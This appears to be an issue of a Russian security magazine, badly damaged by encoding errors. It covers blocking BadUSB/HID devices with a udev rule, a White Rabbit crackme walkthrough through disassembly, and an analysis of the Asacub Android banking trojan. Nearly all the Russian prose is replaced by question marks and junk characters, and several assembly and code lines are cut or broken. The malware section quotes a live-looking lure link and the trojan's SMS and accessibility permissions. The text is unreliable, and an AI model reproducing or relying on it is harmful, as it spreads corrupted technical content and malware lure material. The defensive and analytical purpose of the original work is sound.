??????�????.� ????�??� ???�?� ???????????� ???�????�??� ??????�??� ?� ????�
????�????�??� ?????�???� UEFI� ???�???�?� ???�?????� ???�?????�????� ???�??,
????�?�???�??�???�????�????�???�?????�?�???�??.
???�?????????�?燞ID-????
???�??�????�?,�????�????�??�??�??�?????�??�????�?��??�????�
????� ????�??� ??????� (???????,� RFID??????� ???� ??????�????�??� ???�????),
???�?�??�???�????�??�?.�??�?�??�?��??�????�????��??�??�?,�?????�
??�???�?�??�?????�????�????�???�????�??�?��??�?????�??�??�?????�
????�(????��?????�??�?????�?�???�??�???�???�???�????�?�?�??�?????�
???� ????�???�?� ??� ???�????�?� ?????�??�?,� ?� ???�??????� ??????�?.� ???� ??
??????�??,� ???� ??� ?????�??).� ???�?� ???�?� ???�??� ?????�???� ??????�??
USB????�?� (?� BIOS� ???� ???????�?),� ??� ???� ??????�?� ???�????�?� ????????
???????�??�??�?��??�??�???�???�?�??�??�????�?�???�???�???�?�???�
????�?�?????�?�??????�????��??�??�??�???�??�??�??�?�??�??�????
??燯SB.
???�???�???�?燱indows,�?�??�???�??�???�?�??????.�?????�??,�???�
????????� ????�???�?.� ???� ???� ?????�???� ????�?????� ?????� BadUSB� ?� ????�
????�???� ?????� ??????�???.� ?� ???�???,� ?� ???�?????� ???�?� �???�???�?� ????�
???�??�?粻 ???� ???�???�?� ???????� ???????�????� ????� ???�???� �?????
??�???燘adUSB�.
???�???�?�?????�?�??????�????��??�???�??????�??燢aspersky
??????�??,� ????� ?????�??� ????�?� ?� ?????�???� ????� ???�???� ???� ??????
????�????� ???????.� ????�?????� ???????� gpedit.msc,� ????�?� ?????�?� �???�
??????�??� ?????�??�?� ?� ????�??�??�??�??� ???�???� ?� ???�???� ?� ?????�
????�??�?�???�??�?�?????�??�.��???�??�???�???�??�???�?�??�??.�??
???�?� �??�?????� ????�??�?� ??????�??,� ??� ???�??�??� ???�???� ???????�???
??????�?�.� ????� ???�???� ???�???�???� ?� ???,� ???� ???� ???� ????�????� ????�??
??????� ??????�???� ??� ?????� ????�???�??�?� ????�??�??,� ????� ????�?� ????
??????� ???�?� ??� ???�??� ?� ??????�??.� ????,� ?????�?,� ??????�??� ???????�??
?�??�??�?????,�?�???�??�??�??�?�??�??�??,�?�???�??�?�????.
???�???�?�??�??�???�????�?????�?燱indows�
?�??�?�????�???�???�?????�?燞ID?????��?????�????��????�??�??�??
????� ?� Windows� 10� (1607).� ?� ???�??� ???�??� ????�???� ???�??�??�?� ???�????
??�??.�?�??�??�?�???�??�?????�???�??�?????�???.�???�?,�??�?�
???????�?�??�??�???�??�??�??�????�?��????�??�?,�???�??????�????.
???燣inux�??�?�??�???�?????�?爑dev��??�??�???�?.�???�?????�???�
????� ????� /etc/udev/rules.d/10?usbblock.rules� ?� ???�???� ?� ????� ????�
??????�????�????�(????�?�??�?�??�???�???�????):
#ACTION=="add",燗TTR{bInterfaceClass}=="03"燫UN+="/bin/sh�c�'echo�>/sys$DEVPATH/../authorized'"
??�???�??�?�??�?????�???�????�????�????燞ID???????�??�????�??
sed�i�'s/#//'�/etc/udev/rules.d/10?usbblock.rules;爑devadm燾ontrol�
??reload?rules
?�??�????�?�??�??�??�????�?:
sed�i�'s/^/#/'�/etc/udev/rules.d/10?usbblock.rules;爑devadm燾ontrol�
??reload?rules
??????????
???�????� ???�????�?� ?� ????�??� ???�??�???� ?� ???�??� ?????.� ???� ????� ????�
?????�??�?????�??�???�?�??��14�???�?燘lack燞at.�??�??燘uilding燭ro?
jan燞ardware燼t燞ome�??�??�??????�???�???��??�??�???.
??�?????�?��???�??????�???�?�???????��??�??,���???�??�??????�
????�????�?�?�???燯SBola,�???�???�???�??�??�?��????�???�??????.
???�?�??�??????�?????� Computer燛bola� ???�?� ?????�?????.� ???�????� ????�
????�??�??�??�??�?��????,�??�??� ???�??�??�????�?????�??,�??????
????�?�?????�?????�??�??�???�??�???�???燘adUSB.
??�??�?????�???�???�???�???�?????.��????�??�???,�??�?�??�?
???�?????�???�????�??�???�?�??�????�?,�???????�??�???�??????�????�
???��??�?????.��??�??��?????�??�??�???????�??�???�?????�?????�
????� ???�????�???� ?????�???� HID??????�?,� ?� ?� ???�????�??� ??� ?????�???
???�????�??� ???�???�?� ???????� ???????�????,� ???�???�??�???� ??� ??????�
???�??�????�???�??�??�????.
WWW
???�???�?????�?????�?????�??燞ID?????
????�?????�??�????燘adUSB
?BadUSB�?燘lack燞at
?????
???????
??????????
???????????�?????????
??????燱HITE燫ABBIT
?�?????�????�?????????
Nik燴erof
xtahi0nix@gmail.com
??�??�?� ???� ??� ???�?� ?????�?� ????� ??????�?� ????�??�??
crackme.� ?� ???� ???� ????�???�??�??� ???�???� ???� ????????�
???� ????,� ???� ??� ?????� ??????� ???� ?????� ????�??�?:� ???
?�????�????�????,��??�?��??�????�?.��???�?????�
??�????�?????,�??�?��????,�??�?�??�?�??�????.
INFO
??�??� ??????� ??????�?� ???�????�????� hash?
erezade,�???�?燾rackme�(??????燾rackme).
??�??�????�??�??�?�??�?�??�?��??�?????�???,��?�???�?�???????
???????�?� ??????�??,� ???�?� crackme� ?????,� ???� ??� ?????.� ??� ???�??�???�
?????�??�?????�??�?:營DA,燚iE�燩uTTY.�??�??�燚iE.
Crackme�燚iE
??�??�??��??�?,�???�????�?�??�????.�??�???�?�??�????:�??�?????
????�?�????�??�?�????�???�??�??�?????��???�??�??�???�???.�???�
??????� ?????� ??????� ?????� ???� ????�?,� ?� ??� ???�??� ?� ???� ??????,� ?� ??
???????�????�?.�????�????�??�???�?��??�?????,�??�?�?????�?,�??
???????�?�????,�??�????�???�?�???�??�?????�???�?????.
Crackme
???� ???�????� ??� ?????� ????�??� ?????�?� ?� ?????�???� ???�???.� ??� ????� ????�
??????�???� ??????� ????�????� ?????� ?????�?� 玁ope!粻 ?� ???�???�???.� ????�
?????�???�??��????�??�???營DA��??�?????�?�?????�???�????,�????�
??��????�???�???.
White燫abbit�營DA
??�???�??� ???� ?????� ?????,� ?� ?� ???� ????� ???� ????� ???� ???�???:� ????�???
?????�??�???� ????�?� ??� ????�????� ?� ???�?� ??????� (??????�??�??!)
???� ??????� ???� ?????�?????� ?� ??????� ??????.� ?????� ???�??� ??� ???�???
????���???�??�???�??�??�??�??�????�???�??�??.�??�?�???,�???�??
???�????� ??� ?????�???� ????:� ???�?????�??� ???????�???� ???�???�??� ??� ???
???�?.��???�?�?�???????�??�??�??�?��???�?�??�?�???????!
??�??�??�??�??��?????�?�????�?????�??.�????�??�???�?�??????
?�??�???�????爈oc_403CDE.
loc_403CDE:
爌ush牋牋offset燼Nope牋牋;�"Nope!\n"
爌ush牋牋0C0h牋牋牋牋牋牋;爓Attributes
燾all牋牋sub_403990
燼dd牋牋爀sp,�爌ush牋牋3E8h牋牋牋牋牋牋;燿wMilliseconds
燾all牋牋ds:Sleep
爋r牋牋牋eax,�FFFFFFFh
爎etn
??�?�?�??�?,�???�??�????�???�?�??�????�??�??�?�?????:�??????�?
????�????牜Nope!粻?�???�????�????�???�?.�????�???�??�???�??�???�
????�????�爀xit_err,�??�?�???�????�??,�??�??�????�????�???�????
???�?�????�??�??�?�??�?�??�??.
????,�??�??�????��??� call爏ub_402CC0.�??????��???��??�????�
????.
??�????�?�????��??�???
??�???�???�??�???�?????��???�???�?�??�??��??�???,�??�?�???,�?
?????�????�??�??牜Wake爑p,燦eo?營爃ave燼燾hallenge爁or?�.�??�??�?,�???
call� ????�???� ??� ??????�??� ???�??� ????�?.� ????�??�???� call� sub_402CC0
?燾all燽anner,�??�?�??�???�??�?�?????�??��???�?????.
???�??�?�???�?�?�???.�??�?�?????�??�????�???�??�???��??�???
call爏ub_4034D0.�??????��???��??�??�?????�?????�???,�??�??�???
??�???�??�???�???.�?�???�??�??????�??�?????�???�?�???:
push牋牋offset燼Password1��"Password#1:\n"
...
push牋牋offset燼SoFarSoGood��"So爁ar,爏o爂ood!\n"
???�??�??,�??????�?????�???�??�???�?????�?�????.��??�??�?????
????�??�???�???� call� sub_4034D0� ?� call� level_1� ?� ??????�?� ??????�
??????� ???�???� ?????� ??????�?.� ???�?� ????�??�??�?� ???�???� ?� ???????�?
??????�?�??????�????�?????�??�?�?�????�???�??�??�??:
lea牋牋爀ax,燵ebp+nNumberOfBytesToWrite]
push牋牋65h牋牋牋牋牋牋�爃ResData�(101)
push牋牋eax牋牋牋牋牋牋�爄nt
mov牋牋燵ebp+nNumberOfBytesToWrite],�call牋牋sub_403D90
??�??�????�??�� call爏ub_403D90��??�?????,�??�??.��??�??????�?
???�?????� ???� ??????� ?� ?????�???.� ???�???�???� ???�??� ???????� Find?
ResourceA,� LoadResource,� LockResource,� SizeofResource.� ????�?� ???
???�????�???�?�????�?????�??�?????��?????�????�??�??:
mov牋牋爀si,燵ebp+arg_0]
push牋牋4牋牋牋牋牋牋牋�爁lProtect
push牋牋3000h牋牋牋牋牋�爁lAllocationType
push牋牋eax牋牋牋牋牋牋�燿wSize
push牋牋0牋牋牋牋牋牋牋�爈pAddress
mov牋牋燵esi],爀ax
call牋牋ds:VirtualAlloc
push牋牋dword爌tr燵esi]�爏ize_t
mov牋牋爀di,爀ax
push牋牋ebx牋牋牋牋牋牋�爒oid�*
push牋牋edi牋牋牋牋牋牋�爒oid�*
call牋牋_memmove_0
???�????�?�????�?,�??爏ub_403D90�???�?�?????�?????�???�?��?????�?
???� ?� ???????�??� ?????� ?� ??????.� ????�??�???� sub_403D90� ?� load?
_res_in_buf��???�????�?�?�???�??�?????.
???� push� 65h� ???????� ???� ?� ?????�?� 101.� ?????� ???�????� ?� DiE� ?� ????�
??????�?�????�?.�??�??�?�???�??�??�?燫esource���?????�????�???
???�??�?�??�??�??�??�???�?� RT_RCDATA.�????�??�????�?,�?�??????
???�???�???�?�1.
??�??�?�燚iE
??�??�???�??�爃ex?????�???�????.
??�???�1
???�??�????�?�????�?????,�?�???�?�??�????�?�??�??????�??�????�
????�????� hex????�??� ?� ???�?� ?????� ???�???�???�?� ???�???.� ???� ???�??,
???�??�????�???�??�???,��?????�?�?????�??�?�????�??�?????��???�
?????�??,�?�??�???�??�?�??�???�?????�??�????��??�??????.�?????,
???�??�?�???????�??�????????��??�?????�?�??�??�??�???.
???�?� ???�???� ????�?????�??,� ???� ???�?� ???�??� ???�???�??� ?????�??
????� ????� ????�??�??� ???�??,� ?????�????�??� ????� ???�??.� ??????�?
???�???�???�?�??�???��??�???�??�??�??��??�??.�?????�???��???.
????� ??� ???�?� ???�???� ????�?????�??� ???�??� ???�?,� ??� 17� ????� ?� ???�?
??????�?????.
???�???��??�??
????�??�??�??�????�?�� 0x5eec36h,�?�???20�4�???,�??�????.
??????�??�????�????�??�???�??�???�???��??????爀si.
???�??�???�?��??�????�???�?.�????�??�??�???�?????:
push牋牋offset燼Password1��"Password#1:\n"
push牋牋0A0h牋牋牋牋牋牋;爓Attributes
call牋牋sub_403990
???�??�?,� ???� ?� ???�???� sub_403990� ??????�???� ???�??,� ???????� ?????
??????�?� ?� ???�???.� ???�?� ?� ???,� ???�?� ???�???�?� ?� ????:� ???�???� ????�?
??????� ??� ???�???� banner,� ???????� ??� ???� ??????.� ????�??�???� sub?
_403990�爌rint_str��???�???�?.
???�?????� ?????� ?� call� sub_401000.� ????� ???�?� ?� ????,� ??� ???�??�?,
???�?�??�???�??????�????�??�???�??�??�?????�?燤icrosoft燰isual燬tudio
??� ????�?� ?????�????� ?� ???????�??� ??� ???????�????� ??????,� ???????� ??
???�?????.��???�??��??�???�??�???�?????�???�??�?????�?�???????�
???� ?� ???�?� var_438.� ????� ????�?????� ??????�????� ?� ????� ???�???�??
?�????�??�???,�?�??�???�???,�??�??�??�???�??�??�?�???�??�??�???�
?????� ????�?????�??� ???�??,� ???????� ??????�???�?� ?� ???� ???????�??.
????�???,� ???� ???�??� ??????.� ????�??�???� sub_401000� ?� read_data,
???????�??爒ar_438��爌ass��??�??�??�????�?????�??.
??????????
???�?� ???�????�?????�?� ?� ???�???� ?????� ?????�??,� ???�????� ?????�?????
????�???�??� ????�????� ?� ???�???� ????�???�?� ????�???�??� ?� ???�???�??
???�?????�?.
int爉ain(){
牋std::cout�<�"Hello燱orld!\n";�
牋std::string爏;
牋std::cin�>爏;
牋Sleep(5000);
牋return�
}
??�??�??�???�???�??�??�??:
call牋牋sub_404150
add牋牋爀sp,�h
cmp牋牋爀ax,�585384h
jnz牋牋爈oc_4036B1
??� ?????,� ???� ????� ?????� call� sub_404150� ?� ?????� ????�????� cmp� eax,�
57585384h,� ?????� ????????� ???????.� ???�??�?,� ??� ?????�?� ?????�??
?�?????�??�??�?�?????.�??�???�燾all爏ub_404150��???�??,�??�??.
???�???�???
??�??�???�??�????� xor��???????牜???????�??粻???�??� 82F63B78h.�???
????�???�??????�??�?�???�??�?,�?�?�??�???�?�?�?????�?????�??
?� ?????�????� CRC32.� ???�??�?,� ????� ?????�???� CRC32� ???�??,� ?????� ????
????�????� cmp� eax,� 57585384h,� ?????� ???�???�???� ???????� ?� ??????�?.
??????�???,� 57585384h��??�??�??�??燙RC32�?????,�??????�???�????�
????��??�??�???�??�???.�???�??�???� sub_404150�� crc32��???�?�??
????�?.
lea牋牋爀ax,燵ebp+pass]
cmovnb牋eax,燵ebp+pass]
push牋牋eax
push牋牋[ebp+nNumberOfBytesToWrite]
push牋牋esi
call牋牋sub_403C90
?????� ????�??�?.� ?� ???�???� sub_403C90� ??????�???� ??????,� ???????�??
nNumberOfBytesToWrite� (???�??� ?????�?)� ?� ?????� ?????�?.� ???�????
??????.
??�??�????燲OR
??�???�???,� ???� ???�???� ?????�????� ?????�?� ???????� XOR.� ????�??�???
???�???爏ub_403C90�爔or_crypt��???�?????�??�????.
??�???��??�????�??�??�????�??
???�??� ????�???� ????� ????�???� ?????� ???�???� WinAPI� ???� ??????�??� ????
???�??�??� ?????�????,� ???�?� ???�???????� ?� ?????�?� ?????�?� ?????�??�?
?�??�????�???�??�??�??�??,�??????�??�??�?��???:
push牋牋offset燼SWallpXTmp��"%s\\wallp%x.tmp"
??�??��??�???爏ub_403090,�??????�??�???��?????�???�??�??��???,
???????� CreateFileW� ?� WriteFile,� ?� ????�??�?� ???????� ???�????� ?????
????�??:
;爄nt燺_cdecl爏ub_403090(LPCWSTR爈pFileName,燣PCVOID爈pBuffer,燚WORD�
nNumberOfBytesToWrite)
sub_403090爌roc爊ear
NumberOfBytesWritten=燿word爌tr�4
lpFileName=燿word爌tr牋8
lpBuffer=燿word爌tr牋0Ch
nNumberOfBytesToWrite=燿word爌tr牋10h
?�????��??�???�??�?�??�?�?????�?�??�?��??�???燾all爏ub_403D20,
?� ???� ???????� ????????� SPI_SETDESKWALLPAPER(0x0014),� ??????�?????
???�???燬ystemParametersInfo:
.text:00403D23牋牋牋牋牋牋牋牋爌ush牋牋2牋牋牋牋牋牋牋�爁WinIni
.text:00403D25牋牋牋牋牋牋牋牋爌ush牋牋[ebp+pvParam]牋�爌vParam
.text:00403D28牋牋牋牋牋牋牋牋爌ush牋牋0牋牋牋牋牋牋牋�爑iParam
.text:00403D2A牋牋牋牋牋牋牋牋爌ush牋牋14h牋牋牋牋牋牋�爑iAction
.text:00403D2C牋牋牋牋牋牋牋牋燾all牋牋ds:SystemParametersInfoW
??�??��????�?�???�???�????�?�???????�??�?�?????.
????,�??�?�??�??�?�??�?,�??�?????�????��???,�??�?,�??�???
???????� ?????�????� ??????,� ???????� ??????�?� 5� ?????� ?� ?????� ?� ?????�
??????�???�??�??�??�???�?????�?�??�?.�??�?�???�???????,�??�??
??????��??�???��??�???燘MP,�??????�??�????�??�??�??�???�???
(????�??�??�??).
??�????�????� ??� ???�?,� ?????� ???�??????� ???????�?:� ????� BMP� ???????�
????��??????�?,�??�??�??�??????�??????,�,�??�?????��??????�????,
??� ?????� ???�??�?????� ???�??� 17� ????� ???????�?.� ?� ???�?� ??� ?????
?????� 17� ????� ???�????�??� ?� 17� ????� ?????�???� ???�??.� ???�????,� ???� ?????�
????�??�??????��??燲OR,�?�????�??�?????�??�??�?????�???�??�?
???�?�????,�??�?�????�???�??�???????�?????��??�????�???�??????�
???�??�??.
???� ??????� ???� ?????� ????�??�???� ??????�??� ???�?� ???�???� BMP.
?????�???� ?� hex??????�???� ?????� ???�????� ?� BMP,� ???�?� ?????� ?????� ????�
????�??�??.
????燘MP�爃ex??????�???
??????????? ??????
?
? �?????�?????
?????
??????? ??????????
???????????�?????????�?????
WHITE燫ABBIT��?????�????�?????????
??�????�?� ?� ???????�????� ??� ???�?� ???�???.� ???� ????�???�?� ????�
???��???.
BMP燞eader:
? 0h2���???�?????�??�(???�?燘M)
? 2h6�����??�??�??�?�(???�???????,�????�???�?��???�
????燽ig?endian)
? 6h0���??????�?????�?
? 8h0���??????�?????�?
? Ah6�����??�????�?????�???�??????
DIB燞eader:
? Eh8�����??�?�??�??燚IB爃eader
????,�??�??�??�?????�?????�??��????�??�?�??�???:
42��燛C�������������
???�??????:
24����������������
??�???�??�??�????燲OR
???�???�?� XOR� ?� ??????�?� ???�????????:� follow_da_rabbitz.� ???�??� ??
?�???�?,��?�???�???�??:燬o爁ar,爏o爂ood!�???�?????�?�??�?�???�???
??�??�??�??��???�?????�?�??�???��???�?????�?�??�?????�??�???�
?????��??�?????�?�??�????.�???�?�??�??�????�??�??�??�???�?�???�
???�?????.
??�??�???�?????�?�??�?
???�??�???�?�營DA��????�???�??�?????�??�???.�?�????�???�?�????
?????�?�??�???�??.�??�???�?�?�??�???�??�??�?�????�????�??�???�
?????,�??�??�????�?�??�??�?.�??�?�???,�?�?????�?,�??��???�??
???�?�??�?�??�??�??�?�?????�??�?�??�???�?�???��????�??,�??????
???�?� ???�??????� exe.� ???� ????�??�?!� ?????� ?????�??� ??� ????� ??????
?燚iE��????,�??�???�??�???�??�??????��?????�)
???�??�?????�燚iE
???�??�?,�??�??.�??�???�?�????�?�????.�????�???�???�??�???�???�
???????,�?�???�?�??�???,�??????�?????�?�??�?爔or_crypt.�?????�??
??????�???� sub_403E10.� ???� ??� ????�????,� ??� ???????� ??� ??????� ??????,
???�?????�?�???�???�??�??????.
...
mov牋牋爀si,爋ffset燼MicrosoftEnhan��"Microsoft燛nhanced燫SA燼nd�
AES燙ryptogr"...
lea牋牋爀di,燵ebp+szProvider]
push牋牋eax牋牋牋牋牋牋�爌hProv
rep爉ovsd
call牋牋ds:CryptAcquireContextW
...
lea牋牋爀ax,燵ebp+phHash]
push牋牋eax牋牋牋牋牋牋�爌hHash
push牋牋0牋牋牋牋牋牋牋�燿wFlags
push牋牋0牋牋牋牋牋牋牋�爃Key
push牋牋800Ch牋牋牋牋牋�燗lgid
push牋牋[ebp+phProv]牋牋;爃Prov
call牋牋ds:CryptCreateHash
...
lea牋牋爀ax,燵ebp+phKey]
push牋牋eax牋牋牋牋牋牋�爌hKey
push牋牋0牋牋牋牋牋牋牋�燿wFlags
push牋牋[ebp+phHash]牋牋;爃BaseData
push牋牋660Eh牋牋牋牋牋�燗lgid
push牋牋[ebp+phProv]牋牋;爃Prov
call牋牋ds:CryptDeriveKey
???�????�?�????�?,�??�???�???�??�???�?�?�???�???,��??燗ES.�????
???�????��?????�??�???�?,�??�????��????�????�??�?�?????�?�???�
??.
INFO
??�????�???��??�?�??????,�??�??�?�???
????????� ???�????�??� ????,� ??� ???�?
???� ????????� Stegdetect,� ???� ????�???� ???????
???�?.�??�???�??�??��??�?????�??�??�??�?!
???�??� ???�????� ?� ?????�????� ???�??�??� ???�??� ????�?????�?.� ????�
???????� ?� ???� ?� tmp,� ?� ???�????� ??????�???� ?� wallp.� ???�?� ???�?� ????
????????�??�??????�?燽mp,��??�?�????�???�燩aint.�??�???�?�??????
???�??�???�?�???�?�??????�?????�??�?.
??�?????�??�??�??�?
???�?!� ???� ??????� ?� ???� ???????� ????� ?� ????�??????,� IMdsSqFGLf6v_wxO.
???�???�???�?�??��???�?.
???�??�??�??�?????
????�??�??�???�?�???�?????��??�???�???.�?�????�??�??,�??�?�???�
????�?�??�??�??�????�????��????�???�???爂ood_rabbit****.exe!
????�???�?�??????
???�???�?�??�營DA��???�??�?????�??�?.
??�???�?????�??�?
??�????�?� ?� ???� ????� ???�???� ??????� ?� ?????.� ???�???�???�?,� ???�??
???????� ??????????� ???�???�??.� ??????� ???�???� ???� ????� ?� ???????� ????�
???�?,�???�????�??爊etstat�a.�?????�?,�??�??�???�?????��??�???
????� 1337.� ???� ?,� ?????� ???�?� ?� ???� ?� ??????� ???�???� WSAStartup
???�????�??�?�營DA.
???�?燱SAStartup
??� ???�?� WSAStartup,� ???� ?� ?????� ??????� ???�???� ???� ???�???�?� sub?
_404480.� ???�???�???� ??� ???�???� ????� ?� ????�??,� ?????� ???????�?
??????�???� ?� ???� ???�???.� ?????�???� ???�??� ?????�??�???� ????�?� ??� ???
(?????,�?�??????�?�燭LS,�?�??�?�??�?�?????�?�???�????��???�)).
???�???�?�??�?�??�???
?� ???� ?� ?????� ???�?� ?� ?????�??� ???????�?!� ?????�??� ????� ????� ?� ?????
???� ???�??????� ???�??� ?� ??????�?� ?� ???� ???�???.� ???�?� ?� 1337,
1338� ?� 1339.� ???????� ?� sub_404480� ?� ????�??,� ???� ????�?� ???� ???�???.
?????� ????� ????�??�???� ???�????�????� ??????� ?� ?????,� ??????
WSAStartup,� socket,� inet_addr,� bind,� listen� ?� accept.� ???� ?????� ????�
???????�?????�??�???�??,�??�?�??�????�???�??�???�???�???�??,�?????�
??�??�??�?????�?��?�??�??�??�???.��???�??�??�????��??�??�???�
??燼ccept�燾losesocket.
???�???�?????��??�???,�??�???�??�?�?�???
??�??�??�????��???.
???�????�?????�??�???
?� ????????,� ???� ???�??� ????�??,� ?� ??� ???�???�?� ??� ????� ?????�??.� ????
?� ??????� ??????� ??� ???�??� 9,� ??� ??� ????�?� ??????�???�?� Y.� ??????�??
??�??�???�????�???�?,�???�???�???�?�??�??,�?�??�???�???�?.�?
???�??��?????�???�?燛,�????�?????�??�?�??�?????�???��??�??�
?????燬.
???� ???�??� ???�?� ????????� ??� ????,� ?????� ?� 1337� ?� ???�??�????� ???�??
???� ?� ???�?� ??� ???�???� ????�?.� ??� ????� 1337� ?� 9,� 1338� ?� 3,� 1339� ?� 5.� ?
???????�??�??�?�??�?�??�?????�???�????燩uTTY.�??�?�??�?�?????�
?????� ?� ???�????� ???�???�???� ?� ?????�???�?� ???�???� ?� ?????�??� ????�???�
?????,��??????�??�?????�??�???�?�??�?????�???.
Crackme�????!�)
?????
??????燙.
???????????,�???????
???????????
aigulforever@yandex.ru
???
??????
MMS
?????????�??????燗SACUB,
???????�?????�?????
?�????????????燗NDROID
??� ???�?????� ?????� ???????�??� ?????� Asacub� ???????
?????�0�????�???�?????�??燗ndroid.�?�??�????�??�?
??� ???� ?� ????.� ???�???�?� ????�?� ???�?????� ?� ???� ???�??
?�??�?�???�??.
???� ??????�???� ???�??�???,� ?� ???�??� ??� ?????�?????� ????� 70%� ??????�??
??????�??� ??????�?� ??� Android.� ???�?� ?????�??� ???�??????�??�??� ?????�
?????�???�?�??:�??�????�?�?????�???��??�???�???�?????,�????�???�
????� ?� ???�?� ?????� ?� ???�??�???� ????� ?� ???�??.� ???�???�?� ?� ???�???� ????�
?????�?�???�??�?�???�?????�??�??�???�??�??燗ndroid,�????�??????�
??,�??�?�???�?????�?�??�????�?�?????�?�??�??�???�????�??.
?????????
????,�????�????�??�???�??�??????�?�??�?�??????�??�???�?�????�
?????:� �??� ????�?� ???�??�????� mms:� fotowy.me/84rt� ??� ????�?�.� ??????�
?????� ???�??�?,� ???� ???� ?????,� ??????� ???� ?� ????�??� ?� ???�?� ??� ????�??.
?????�?� ??,� ???�??� ?????�??,� ???� ?????� ????�?� ?� ????�???�?� ?� ???� ???.
???� ???�?� ????�??�?,� ???� ?????� ????�???� ???� BlackBerry� ?� ???� ????�?
?????�?�?�??�????�?.
???�?� ??????�?� ??� ????�?� ?????�???�?� ????�???� ?� ????�?????�?� ????�
???????�????�????�??�????�???�?.
????�???爁otowy.me/84rt
??�??�?� ???�??????� ?� ??????�?!� ???�?� ??� ??????�???� ???�???�??� ???�?
photo_34778_img.apk.� ???� ???� ???�??� ??� ???�?,� ???�???�?� ????�??�?
?�???�??�???�??????�??��???�??�???�?燼pk.�??�??�??�????�??�???�??
�???????�.��??,�??�????�????�????�??�?????�??�???�???,�????�?,
???�?????�????�???.
????�?�??�???�??牜????????�
??�?�??�??�?�??�???�????�????�???�?!�??�???�????�????�?�?
???�??????,�????�?�????�???牜????????�,��?????????�???�?�???�??�?
?????�???�?�???�??�?!�??�??.�??????�????�????�??��?�??�?,�???�
????�??�??????�?�???�?,��??�??�???�?�????�???牜???�?????�??�????�
???�.
???�??�????牜???�?????�??�???�??�
??�??� ???�???�?� ??????� ????�???�?� ????� �??�?????� ???????�?�.� ???�??
?????�?.
??�?牜???�?????�??????�?�
??�???�?� �????�?� ?� ???�???�??�.� ?� ???�???�???� 玌se� ???�?????� ????�
????�??�.
??�?牜Use�??�?????�??�???�??�
??�????�?????�??�???�??�??�?�??�?�?????�?�?????�????�??�(?�???�??
??�??).
???�??�????�?�??�???�??�???�????
??�???�?�????�???�??,�?�??�??�?�??�???�???.
??�?��???�???�?��?????
???�???�???,� ???� ???????� ??� ?????�????,� ?� ???�??�???� ???�?� Asacub!� ?????�
????�?�??????�?�?�????.
WWW
???�??�?�?燰irusTotal
??�???�??�???�???�?????燗sacub�??� ??�?�??�???�???��????�???�??
�?????�????�??�??�??�?�.�??,�??�??�??�????�?��??�?�??�??�?????
???????�????燗ndroid.燗sacub�?????�?��???�????��????�???�??�??.
???�????�??�??�??????�??�??�???�????�??�?????�??:
? �???�???,�??�????�????�????�?�???�?�
? �???�???,�???�???�?燤MS?????�????�?�???�
? �???�???,�???�???�?�????�??�??�
? �???�???,��???�?�???�?�??�?�??�??!�.
?�?????�??�????�??�???�?�??�??????�??�?????,�??�?�????燗sacub.
???????????�?????.�????????????�????
???�??�??�?:燗ndroid燬tudio,燡aDX
???�????�??� ???�??� ????�???� ?� ????� ?????�??????� ???�???�??� ?� ?????�
????� ???????�?� ????� ???� ????�????�?� ???�???� ???�????� ??????.� ???�???
???�???�???�?燡aDX�??�????�??????燼pk.�??�?�??????�?�????�???�???�
????,�?�??�??�???�??�?�??�????�?.�??�???�?��???�??�???�?.
$爈s�l
$爂it燾lone爃ttps://github.com/skylot/jadx.git
$燾d爅adx
$�./gradlew燿ist
??�??�???�??�????�??燡aDX.
$爈s�l
$燾d燽uild/jadx/
$燽in/jadx?gui爈ib/jadx?core?*.jar
??�???�?燜ile�燨pen�爌hotoimg.apk.�????�??????�?.
??�????�?�燡aDX
??� ????�??� ????????� ?� ????� ?� Android� Studio.� ???�???�?� ???� ???�??
?�??????�???�燗ndroid燬tudio.�??�????�?�?燗ndroidManifest.xml.�???�??
???�?�??�???�??.
<uses?permission燼ndroid:name="android.permission.READ_CONTACTS"/>
<uses?permission燼ndroid:name="android.permission.SEND_SMS"/>
<uses?permission燼ndroid:name="android.permission.READ_SMS"/>
<uses?permission燼ndroid:name="android.permission.WRITE_SMS"/>
<uses?permission燼ndroid:name="android.permission.RECEIVE_SMS"/>
<uses?permission燼ndroid:name="android.permission.RECEIVE_BOOT_CO
MPLETED"/>
<uses?permission燼ndroid:name="android.permission.WAKE_LOCK"/>
<uses?permission燼ndroid:name="android.permission.READ_PHONE_STATE"/>
<uses?permission燼ndroid:name="android.permission.INTERNET"/>
<uses?permission燼ndroid:name="android.permission.CALL_PHONE"/>
<uses?permission燼ndroid:name="com.android.alarm.permission.SET_AL
ARM"/>
<uses?permission燼ndroid:name="android.permission.BIND_ACCESSIBIL
ITY_SERVICE"/>
????� ???� ?� ???�??�?� ???� ???,� ???� ??????�?� ??????�???� ????,� ????�??�?
??�??.
? READ_CONTACTS��??�??�???????�??�?.
? SEND_SMS,� READ_SMS,� WRITE_SMS,� RECEIVE_SMS� ?� ??????�?,� ???�??,
?????�?????�??,�?????�??燬MS.
? RECEIVE_BOOT_COMPLETED� ?� ??????�??� ???????�??� ?� ????�????
??????�???�??�???�????�?.
? WAKE_LOCK��????�????�??�???�?????.
? READ_PHONE_STATE��?????�??�??????�??�?�?????�???.
? INTERNET��??�??��???????.
? CALL_PHONE��??�???�??�??�???�??.
? SET_ALARM� ?� ??????�??????� ??????�???� (???� ?????�????� ????�??�???�
???�??�????).
? BIND_ACCESSIBILITY_SERVICE��??�?????�??�?�??????��??�???,
?????�?�??�???�??,�??????�??�??��??�???.
???�?????�?????�??�??�????.
<activity燼ndroid:name="com.bacon.accident.Hypothesize"燼ndroid:
showWhenLocked="true"燼ndroid:turnScreenOn="true"/>
?� Hypothesize.java�??????�?�??,�??????�?????�?�???牜?????�?��???�
????�??�.
<service燼ndroid:name="com.bacon.accident.DespiseFar"燼ndroid:permis
sion="android.permission.BIND_JOB_SERVICE"燼ndroid:exported="true"/>
?� DespiseFar.java� ?� ???�???�????� ?????� ?� ???????� JobScheduler.
??????�???�?�??�??????�??�???�????�????�??�???,�?????�?.
<receiver燼ndroid:name="com.bacon.accident.King"燼ndroid:permission=
"android.permission.BROADCAST_SMS">
�intent?filter>
牋�action燼ndroid:name="android.provider.Telephony.SMS_DELIVER"/>
牋�action燼ndroid:name="android.provider.Telephony.SMS_RECEIVED"/>
牋�action燼ndroid:name=".STATUS"/>
�/intent?filter>
</receiver>
?� King.java� ????�???�?� ??????�??� ?� ????�??�?� SMS.� ???�?� Asacub� ???�??
???�????�??�???�?????�?????�?�?燬MS.
???�???�??�?????
???� ???�??,� ??????�?????� ??� ???�??,� ?� ????�?� ?� ???�???�??� ???�???�?.
??� ???�??� ??????�???�?� ???????�??� ?� ??????�?,� ???�????.� ?� ???�???� ????�
